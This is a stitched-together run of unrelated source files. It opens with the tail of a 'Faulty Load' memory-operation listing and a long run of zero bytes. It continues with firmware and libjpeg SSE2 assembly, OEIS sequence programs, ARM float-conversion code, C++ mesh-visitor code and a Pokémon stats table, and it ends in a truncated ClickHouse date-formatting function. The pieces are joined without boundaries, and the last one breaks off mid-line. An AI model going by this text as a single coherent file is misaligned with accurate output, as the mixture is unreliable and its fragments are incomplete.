'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 3}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': True, 'type': 'addresses_NC', 'same': True, 'AVXalign': True, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': True, 'congruent': 10}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006 - 2016, Intel Corporation. All rights reserved.<BR> ; Copyright (c) 2015, Linaro Ltd. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; InterlockedCompareExchange16.Asm ; ; Abstract: ; ; InterlockedCompareExchange16 function ; ; Notes: ; ;------------------------------------------------------------------------------ DEFAULT REL SECTION .text ;------------------------------------------------------------------------------ ; UINT16 ; EFIAPI ; InternalSyncCompareExchange16 ( ; IN volatile UINT16 *Value, ; IN UINT16 CompareValue, ; IN UINT16 ExchangeValue ; ); ;------------------------------------------------------------------------------ global ASM_PFX(InternalSyncCompareExchange16) ASM_PFX(InternalSyncCompareExchange16): mov ax, dx lock cmpxchg [rcx], r8w ret
; ; jquanti.asm - sample data conversion and quantization (64-bit SSE2) ; ; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB ; Copyright (C) 2009, 2016, D. R. Commander. ; ; Based on the x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 %include "jsimdext.inc" %include "jdct.inc" ; -------------------------------------------------------------------------- SECTION SEG_TEXT BITS 64 ; ; Load data into workspace, applying unsigned->signed conversion ; ; GLOBAL(void) ; jsimd_convsamp_sse2(JSAMPARRAY sample_data, JDIMENSION start_col, ; DCTELEM *workspace); ; ; r10 = JSAMPARRAY sample_data ; r11d = JDIMENSION start_col ; r12 = DCTELEM *workspace align 32 GLOBAL_FUNCTION(jsimd_convsamp_sse2) EXTN(jsimd_convsamp_sse2): push rbp mov rax, rsp mov rbp, rsp collect_args 3 push rbx pxor xmm6, xmm6 ; xmm6=(all 0's) pcmpeqw xmm7, xmm7 psllw xmm7, 7 ; xmm7={0xFF80 0xFF80 0xFF80 0xFF80 ..} mov rsi, r10 mov eax, r11d mov rdi, r12 mov rcx, DCTSIZE/4 .convloop: mov rbx, JSAMPROW [rsi+0*SIZEOF_JSAMPROW] ; (JSAMPLE *) mov rdx, JSAMPROW [rsi+1*SIZEOF_JSAMPROW] ; (JSAMPLE *) movq xmm0, XMM_MMWORD [rbx+rax*SIZEOF_JSAMPLE] ; xmm0=(01234567) movq xmm1, XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE] ; xmm1=(89ABCDEF) mov rbx, JSAMPROW [rsi+2*SIZEOF_JSAMPROW] ; (JSAMPLE *) mov rdx, JSAMPROW [rsi+3*SIZEOF_JSAMPROW] ; (JSAMPLE *) movq xmm2, XMM_MMWORD [rbx+rax*SIZEOF_JSAMPLE] ; xmm2=(GHIJKLMN) movq xmm3, XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE] ; xmm3=(OPQRSTUV) punpcklbw xmm0, xmm6 ; xmm0=(01234567) punpcklbw xmm1, xmm6 ; xmm1=(89ABCDEF) paddw xmm0, xmm7 paddw xmm1, xmm7 punpcklbw xmm2, xmm6 ; xmm2=(GHIJKLMN) punpcklbw xmm3, xmm6 ; xmm3=(OPQRSTUV) paddw xmm2, xmm7 paddw xmm3, xmm7 movdqa XMMWORD [XMMBLOCK(0,0,rdi,SIZEOF_DCTELEM)], xmm0 movdqa XMMWORD [XMMBLOCK(1,0,rdi,SIZEOF_DCTELEM)], xmm1 movdqa XMMWORD [XMMBLOCK(2,0,rdi,SIZEOF_DCTELEM)], xmm2 movdqa XMMWORD [XMMBLOCK(3,0,rdi,SIZEOF_DCTELEM)], xmm3 add rsi, byte 4*SIZEOF_JSAMPROW add rdi, byte 4*DCTSIZE*SIZEOF_DCTELEM dec rcx jnz short .convloop pop rbx uncollect_args 3 pop rbp ret ; -------------------------------------------------------------------------- ; ; Quantize/descale the coefficients, and store into coef_block ; ; This implementation is based on an algorithm described in ; "How to optimize for the Pentium family of microprocessors" ; (http://www.agner.org/assem/). ; ; GLOBAL(void) ; jsimd_quantize_sse2(JCOEFPTR coef_block, DCTELEM *divisors, ; DCTELEM *workspace); ; %define RECIPROCAL(m, n, b) \ XMMBLOCK(DCTSIZE * 0 + (m), (n), (b), SIZEOF_DCTELEM) %define CORRECTION(m, n, b) \ XMMBLOCK(DCTSIZE * 1 + (m), (n), (b), SIZEOF_DCTELEM) %define SCALE(m, n, b) \ XMMBLOCK(DCTSIZE * 2 + (m), (n), (b), SIZEOF_DCTELEM) ; r10 = JCOEFPTR coef_block ; r11 = DCTELEM *divisors ; r12 = DCTELEM *workspace align 32 GLOBAL_FUNCTION(jsimd_quantize_sse2) EXTN(jsimd_quantize_sse2): push rbp mov rax, rsp mov rbp, rsp collect_args 3 mov rsi, r12 mov rdx, r11 mov rdi, r10 mov rax, DCTSIZE2/32 .quantloop: movdqa xmm4, XMMWORD [XMMBLOCK(0,0,rsi,SIZEOF_DCTELEM)] movdqa xmm5, XMMWORD [XMMBLOCK(1,0,rsi,SIZEOF_DCTELEM)] movdqa xmm6, XMMWORD [XMMBLOCK(2,0,rsi,SIZEOF_DCTELEM)] movdqa xmm7, XMMWORD [XMMBLOCK(3,0,rsi,SIZEOF_DCTELEM)] movdqa xmm0, xmm4 movdqa xmm1, xmm5 movdqa xmm2, xmm6 movdqa xmm3, xmm7 psraw xmm4, (WORD_BIT-1) psraw xmm5, (WORD_BIT-1) psraw xmm6, (WORD_BIT-1) psraw xmm7, (WORD_BIT-1) pxor xmm0, xmm4 pxor xmm1, xmm5 pxor xmm2, xmm6 pxor xmm3, xmm7 psubw xmm0, xmm4 ; if (xmm0 < 0) xmm0 = -xmm0; psubw xmm1, xmm5 ; if (xmm1 < 0) xmm1 = -xmm1; psubw xmm2, xmm6 ; if (xmm2 < 0) xmm2 = -xmm2; psubw xmm3, xmm7 ; if (xmm3 < 0) xmm3 = -xmm3; paddw xmm0, XMMWORD [CORRECTION(0,0,rdx)] ; correction + roundfactor paddw xmm1, XMMWORD [CORRECTION(1,0,rdx)] paddw xmm2, XMMWORD [CORRECTION(2,0,rdx)] paddw xmm3, XMMWORD [CORRECTION(3,0,rdx)] pmulhuw xmm0, XMMWORD [RECIPROCAL(0,0,rdx)] ; reciprocal pmulhuw xmm1, XMMWORD [RECIPROCAL(1,0,rdx)] pmulhuw xmm2, XMMWORD [RECIPROCAL(2,0,rdx)] pmulhuw xmm3, XMMWORD [RECIPROCAL(3,0,rdx)] pmulhuw xmm0, XMMWORD [SCALE(0,0,rdx)] ; scale pmulhuw xmm1, XMMWORD [SCALE(1,0,rdx)] pmulhuw xmm2, XMMWORD [SCALE(2,0,rdx)] pmulhuw xmm3, XMMWORD [SCALE(3,0,rdx)] pxor xmm0, xmm4 pxor xmm1, xmm5 pxor xmm2, xmm6 pxor xmm3, xmm7 psubw xmm0, xmm4 psubw xmm1, xmm5 psubw xmm2, xmm6 psubw xmm3, xmm7 movdqa XMMWORD [XMMBLOCK(0,0,rdi,SIZEOF_DCTELEM)], xmm0 movdqa XMMWORD [XMMBLOCK(1,0,rdi,SIZEOF_DCTELEM)], xmm1 movdqa XMMWORD [XMMBLOCK(2,0,rdi,SIZEOF_DCTELEM)], xmm2 movdqa XMMWORD [XMMBLOCK(3,0,rdi,SIZEOF_DCTELEM)], xmm3 add rsi, byte 32*SIZEOF_DCTELEM add rdx, byte 32*SIZEOF_DCTELEM add rdi, byte 32*SIZEOF_JCOEF dec rax jnz near .quantloop uncollect_args 3 pop rbp ret ; For some reason, the OS X linker does not honor the request to align the ; segment unless we do this. align 32
Name: zel_sub3.asm Type: file Size: 2519 Last-Modified: '2016-05-13T04:23:03Z' SHA-1: CB1FA09CFD4C77A8348BF21A4D1F719DA1B874BD Description: null
; A186322: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) after g(j) when f(i)=g(j), where f and g are the squares and heptagonal numbers. Complement of A186323. ; 2,3,5,6,8,10,11,13,15,16,18,19,21,23,24,26,28,29,31,32,34,36,37,39,41,42,44,46,47,49,50,52,54,55,57,59,60,62,63,65,67,68,70,72,73,75,77,78,80,81,83,85,86,88,90,91,93,94,96,98,99,101,103,104,106,108,109,111,112,114,116,117,119,121,122,124,126,127,129,130,132,134,135,137,139,140,142,143,145,147,148,150,152,153,155,157,158,160,161,163 mov $1,$0 mov $3,$0 add $0,7 mov $2,$0 mov $5,1 add $5,$1 lpb $2 mov $6,$5 lpb $5 mov $5,$4 pow $6,2 lpe mov $0,5 mov $1,5 mov $5,1 lpb $6 add $1,1 add $5,$0 trn $6,$5 lpe mov $2,1 lpe sub $1,2 add $1,$3 sub $1,2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; Microsoft Research Singularity ;;; ;;; Copyright (c) Microsoft Corporation. All rights reserved. ;;; ;;; This file contains ARM-specific assembly code. ;;; ; __stoi64 single precision floating point to signed 64-bit integer convert ; ; Input: r0 - float to be converted ; Output: r1 - most significant word of converted float in ; 64-bit integer format ; r0 - least significant word of converted float in ; 64-bit integer format ; ; Local storage size and offsets LOC_SIZE EQU 0x18 OrgOp1h EQU 0x14 OrgOp1l EQU 0x10 ExDResh EQU 0x0C ExDResl EQU 0x08 NewResh EQU 0x14 NewResl EQU 0x10 GET fpe.asm GET kxarm.inc AREA |.text|, CODE, READONLY Export __stoi64 IMPORT FPE_Raise NESTED_ENTRY __stoi64 EnterWithLR_16 STMFD sp!, {lr} ; Save return address SUB sp, sp, #LOC_SIZE ; Allocate local storage PROLOG_END MOVS r12, r0 ; Save original arg in case of exception MOVS r2, r0, ASR #SFrc_len ; Right justify exponent, save sign bit MOV r0, r0, LSL #SExp_len ; Left justify mantissa and ORR r1, r0, #1 << 31 ; insert hidden one (even for denorms) MOV r0, #0 ; clear low 32 bits of result BMI _ffix_negative ; If negative input, separate case RSBS r2, r2, #63 + SExp_bias ; Determine shift amount BLE shift_left ; Negative shift is a shift left, ; NaN or INF; all are invalid op CMP r2, #64 ; See if shifting all bits out BGE shift_right_64 ; If shifting all bits out, return zero shift_right ; r2 contains the right shift amount. It is on the range of 1..63. CMP r2, #32 ; Check if we are shifting >= 32 SUBGE r2, r2, #32 ; If so, do a 32 bit shift by moving MOVGE r0, r1 ; words and adjusting the shift MOVGE r1, #0 ; amount RSB r2, r2, #32 ; 32 - right shift amount MOVS r3, r0, LSL r2 ; Check for inexact RSB r3, r2, #32 ; Right shift amount MOV r0, r0, LSR r3 ; Shift the result ORR r0, r0, r1, LSL r2 ; .. MOV r1, r1, LSR r3 ; .. MOVNE r3, #INX_bit ; If inexact, set inexact MOVEQ r3, #0 ; Otherwise set no exceptions B __stoi64_return ; Return shift_left RSB r2, r2, #0 ; Get positive left shift amount MOV r3, #IVO_bit ; Set invalid MOV r1, r1, LSL r2 ; Shift result B __stoi64_return ; Return shift_right_64 ; abs(Arg) < 1.0, so losing all bits MOV r0, #0 ; Return zero MOV r1, #0 ; Return zero MOVS r2, r12, LSL #1 ; Check for inexact MOVNE r3, #INX_bit ; If bits being lost, set inexact MOVEQ r3, #0 B __stoi64_return ; Return _ffix_negative AND r2, r2, #0xFF ; Mask off exponent field RSBS r2, r2, #63 + SExp_bias ; Determine shift amount BLT shift_left_neg ; Negative shift is a shift left, NaN ; or INF BEQ special_min_int64 ; INT_MIN special case CMP r2, #64 ; See if shifting all bits out BGE shift_right_64 ; If shifting all bits out, return zero shift_right_neg ; r2 contains the right shift amount. It is on the range of 1..63. CMP r2, #32 ; Check if we are shifting >= 32 SUBGE r2, r2, #32 ; If so, do a 32 bit shift by moving MOVGE r0, r1 ; words and adjusting the shift MOVGE r1, #0 ; amount RSB r2, r2, #32 ; 32 - right shift amount MOVS r3, r0, LSL r2 ; Check for inexact RSB r3, r2, #32 ; Right shift amount MOV r0, r0, LSR r3 ; Shift the result ORR r0, r0, r1, LSL r2 ; .. MOV r1, r1, LSR r3 ; .. MOVNE r3, #INX_bit ; If inexact, set inexact MOVEQ r3, #0 ; Otherwise set no exceptions RSBS r0, r0, #0 ; Negate result RSC r1, r1, #0 ; .. B __stoi64_return ; Return shift_left_neg RSB r2, r2, #0 ; Get positive left shift amount MOV r3, #IVO_bit ; Set invalid MOV r1, r1, LSL r2 ; Shift result RSBS r0, r0, #0 ; Negate result RSC r1, r1, #0 ; .. B __stoi64_return ; Return special_min_int64 TEQ r1, #0x80000000 ; Special case of INT64_MIN MOVNE r3, #IVO_bit ; Set invalid if not special case MOVEQ r3, #0 RSBS r0, r0, #0 ; Negate result RSC r1, r1, #0 ; .. __stoi64_return TST r3, #FPECause_mask ; Any exceptions? ADDEQ sp, sp, #LOC_SIZE ; If not, restore stack IF Interworking :LOR: Thumbing LDMEQFD sp!, {lr} ; and return BXEQ lr ELSE LDMEQFD sp!, {pc} ; and return ENDIF STR r0, [sp, #ExDResl] ; Store default result STR r1, [sp, #ExDResh] ; .. ADD r0, sp, #NewResl ; Pointer to new result ORR r1, r3, #_FpSToI64 ; Exception information MOV r2, r12 ; Original arg CALL FPE_Raise ; Handle exception information IF Thumbing :LAND: :LNOT: Interworking CODE16 bx pc ; switch back to ARM mode nop CODE32 ENDIF LDR r0, [sp, #NewResl] ; Load new result LDR r1, [sp, #NewResh] ; .. ADD sp, sp, #LOC_SIZE ; Pop off exception record IF Interworking :LOR: Thumbing LDMFD sp!, {lr} ; Return BX lr ELSE LDMFD sp!, {pc} ; Return ENDIF ENTRY_END __stoi64 END
// -*- tab-width: 2; indent-tabs-mode: nil; coding: utf-8-with-signature -*- //----------------------------------------------------------------------------- // Copyright 2000-2022 CEA (www.cea.fr) IFPEN (www.ifpenergiesnouvelles.com) // See the top-level COPYRIGHT file for details. // SPDX-License-Identifier: Apache-2.0 //----------------------------------------------------------------------------- /*---------------------------------------------------------------------------*/ /* MeshVisitor.cc (C) 2000-2016 */ /* */ /* Visiteurs divers sur les entités du maillage. */ /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ #include "arcane/utils/Enumerator.h" #include "arcane/utils/Collection.h" #include "arcane/IItemFamily.h" #include "arcane/IMesh.h" #include "arcane/ItemGroup.h" #include "arcane/MeshVisitor.h" /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ ARCANE_BEGIN_NAMESPACE /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ void meshvisitor:: visitGroups(IItemFamily* family,IFunctorWithArgumentT<ItemGroup&>* functor) { for( ItemGroupCollection::Enumerator i(family->groups()); ++i; ){ ItemGroup& group = *i; functor->executeFunctor(group); } } /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ void meshvisitor:: visitGroups(IMesh* mesh,IFunctorWithArgumentT<ItemGroup&>* functor) { for( IItemFamilyCollection::Enumerator ifamily(mesh->itemFamilies()); ++ifamily; ){ IItemFamily* family = *ifamily; for( ItemGroupCollection::Enumerator i(family->groups()); ++i; ){ ItemGroup& group = *i; functor->executeFunctor(group); } } } static void test_compile() { IItemFamily* f = nullptr; auto xx = [](const ItemGroup& x) { std::cout << "name=" << x.name(); }; meshvisitor::visitGroups(f,xx); } /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ ARCANE_END_NAMESPACE /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/
; A015552: a(n) = 6*a(n-1) + 7*a(n-2), a(0) = 0, a(1) = 1. ; 0,1,6,43,300,2101,14706,102943,720600,5044201,35309406,247165843,1730160900,12111126301,84777884106,593445188743,4154116321200,29078814248401,203551699738806,1424861898171643,9974033287201500,69818233010410501,488727631072873506,3421093417510114543,23947653922570801800,167633577457995612601,1173435042205969288206,8214045295441785017443,57498317068092495122100,402488219476647465854701,2817417536336532260982906,19721922754355725826880343,138053459280490080788162400,966374214963430565517136801,6764619504744013958619957606,47352336533208097710339703243,331466355732456683972377922700,2320264490127196787806645458901,16241851430890377514646518212306,113692960016232642602525627486143,795850720113628498217679392403000,5570955040795399487523755746821001,38996685285567796412666290227747006,272976796998974574888664031594229043 mov $1,7 pow $1,$0 add $1,2 div $1,8 mov $0,$1
db 0 ; species ID placeholder db 60, 90, 140, 40, 50, 50 ; hp atk def spd sat sdf db STEEL, ROCK ; type db 90 ; catch rate db 152 ; base exp db NO_ITEM, HARD_STONE ; items db GENDER_F50 ; gender ratio db 35 ; step cycles to hatch INCBIN "gfx/pokemon/lairon/front.dimensions" db GROWTH_SLOW ; growth rate dn EGG_MONSTER, EGG_MONSTER ; egg groups db 35 ; happiness ; tm/hm learnset tmhm WATER_PULSE, ROAR, TOXIC, HIDDEN_POWER, SUNNY_DAY, PROTECT, RAIN_DANCE, FRUSTRATION, IRON_TAIL, EARTHQUAKE, RETURN, DIG, DOUBLE_TEAM, SHOCK_WAVE, SANDSTORM, ROCK_TOMB, AERIAL_ACE, FACADE, SECRET_POWER, REST, ATTRACT, ENDURE, SHADOW_CLAW, ROCK_POLISH, STONE_EDGE, STEALTH_ROCK, CAPTIVATE, ROCK_SLIDE, SLEEP_TALK, NATURAL_GIFT, SWAGGER, SUBSTITUTE, CUT, STRENGTH, ROCK_SMASH, ANCIENTPOWER, EARTH_POWER, ENDEAVOR, FURY_CUTTER, IRON_DEFENSE, IRON_HEAD, MAGNET_RISE, MUD_SLAP, ROLLOUT, SNORE, SPITE, SUPERPOWER, UPROAR ; end
#include <DataTypes/DataTypeString.h> #include <Columns/ColumnString.h> #include <Functions/IFunction.h> #include <Functions/FunctionHelpers.h> #include <Functions/FunctionFactory.h> #include <Functions/DateTimeTransforms.h> #include <Functions/extractTimeZoneFromFunctionArguments.h> #include <IO/WriteHelpers.h> #include <common/DateLUTImpl.h> #include <common/find_symbols.h> #include <type_traits> namespace DB { namespace ErrorCodes { extern const int NUMBER_OF_ARGUMENTS_DOESNT_MATCH; extern const int ILLEGAL_TYPE_OF_ARGUMENT; extern const int NOT_IMPLEMENTED; extern const int ILLEGAL_COLUMN; extern const int BAD_ARGUMENTS; } /** formatDateTime(time, 'pattern') * Performs formatting of time, according to provided pattern. * * This function is optimized with an assumption, that the resulting strings are fixed width. * (This assumption is fulfilled for currently supported formatting options). * * It is implemented in two steps. * At first step, it creates a pattern of zeros, literal characters, whitespaces, etc. * and quickly fills resulting character array (string column) with this pattern. * At second step, it walks across the resulting character array and modifies/replaces specific charaters, * by calling some functions by pointers and shifting cursor by specified amount. * * Advantages: * - memcpy is mostly unrolled; * - low number of arithmetic ops due to pre-filled pattern; * - for somewhat reason, function by pointer call is faster than switch/case. * * Possible further optimization options: * - slightly interleave first and second step for better cache locality * (but it has no sense when character array fits in L1d cache); * - avoid indirect function calls and inline functions with JIT compilation. * * Performance on Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz: * * WITH formatDateTime(now() + number, '%H:%M:%S') AS x SELECT count() FROM system.numbers WHERE NOT ignore(x); * - 97 million rows per second per core; * * WITH formatDateTime(toDateTime('2018-01-01 00:00:00') + number, '%F %T') AS x SELECT count() FROM system.numbers WHERE NOT ignore(x) * - 71 million rows per second per core; * * select count() from (select formatDateTime(t, '%m/%d/%Y %H:%M:%S') from (select toDateTime('2018-01-01 00:00:00')+number as t from numbers(100000000))); * - 53 million rows per second per core; * * select count() from (select formatDateTime(t, 'Hello %Y World') from (select toDateTime('2018-01-01 00:00:00')+number as t from numbers(100000000))); * - 138 million rows per second per core; * * PS. We can make this function to return FixedString. Currently it returns String. */ class FunctionFormatDateTime : public IFunction { private: /// Time is either UInt32 for DateTime or UInt16 for Date. template <typename Time> class Action { public: using Func = void (*)(char *, Time, const DateLUTImpl &); Func func; size_t shift; Action(Func func, size_t shift = 0) : func(func), shift(shift) {} void perform(char *& target, Time source, const DateLUTImpl & timezone) { func(target, source, timezone); target += shift; } private: template <typename T> static inline void writeNumber2(char * p, T v) { static const char digits[201] = "00010203040506070809" "10111213141516171819" "20212223242526272829" "30313233343536373839" "40414243444546474849" "50515253545556575859" "60616263646566676869" "70717273747576777879" "80818283848586878889" "90919293949596979899"; memcpy(p, &digits[v * 2], 2); } template <typename T> static inline void writeNumber3(char * p, T v) { writeNumber2(p, v / 10); p[2] += v % 10; } template <typename T> static inline void writeNumber4(char * p, T v) { writeNumber2(p, v / 100); writeNumber2(p + 2, v % 100); } public: static void noop(char *, Time, const DateLUTImpl &) { } static void century(char * target, Time source, const DateLUTImpl & timezone) { auto year = ToYearImpl::execute(source, timezone); auto century = year / 100; writeNumber2(target, century); } static void dayOfMonth(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToDayOfMonthImpl::execute(source, timezone)); } static void americanDate(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToMonthImpl::execute(source, timezone)); writeNumber2(target + 3, ToDayOfMonthImpl::execute(source, timezone)); writeNumber2(target + 6, ToYearImpl::execute(source, timezone) % 100); } static void dayOfMonthSpacePadded(char * target, Time source, const DateLUTImpl & timezone) { auto day = ToDayOfMonthImpl::execute(source, timezone); if (day < 10) target[1] += day; else writeNumber2(target, day); } static void ISO8601Date(char * target, Time source, const DateLUTImpl & timezone) { writeNumber4(target, ToYearImpl::execute(source, timezone)); writeNumber2(target + 5, ToMonthImpl::execute(source, timezone)); writeNumber2(target + 8, ToDayOfMonthImpl::execute(source, timezone)); } static void dayOfYear(char * target, Time source, const DateLUTImpl & timezone) { writeNumber3(target, ToDayOfYearImpl::execute(source, timezone)); } static void month(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToMonthImpl::execute(source, timezone)); } static void dayOfWeek(char * target, Time source, const DateLUTImpl & timezone) { *target += ToDayOfWeekImpl::execute(source, timezone); } static void dayOfWeek0To6(char * target, Time source, const DateLUTImpl & timezone) { auto day = ToDayOfWeekImpl::execute(source, timezone); *target += (day == 7 ? 0 : day); } static void ISO8601Week(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToISOWeekImpl::execute(source, timezone)); } static void year2(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToYearImpl::execute(source, timezone) % 100); } static void year4(char * target, Time source, const DateLUTImpl & timezone) { writeNumber4(target, ToYearImpl::execute(source, timezone)); } static void hour24(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToHourImpl::execute(source, timezone)); } static void hour12(char * target, Time source, const DateLUTImpl & timezone) { auto x = ToHourImpl::execute(source, timezone); writeNumber2(target, x == 0 ? 12 : (x > 12 ? x - 12 : x)); } static void minute(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToMinuteImpl::execute(source, timezone)); } static void AMPM(char * target, Time source, const DateLUTImpl & timezone) { auto hour = ToHourImpl::execute(source, timezone); if (hour >= 12) *target = 'P'; } static void hhmm24(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToHourImpl::execute(source, timezone)); writeNumber2(target + 3, ToMinuteImpl::execute(source, timezone)); } static void second(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToSecondImpl::execute(source, timezone)); } static void ISO8601Time(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToHourImpl::execute(source, timezone)); writeNumber2(target + 3, ToMinuteImpl::execute(source, timezone)); writeNumber2(target + 6, ToSecondImpl::execute(source, 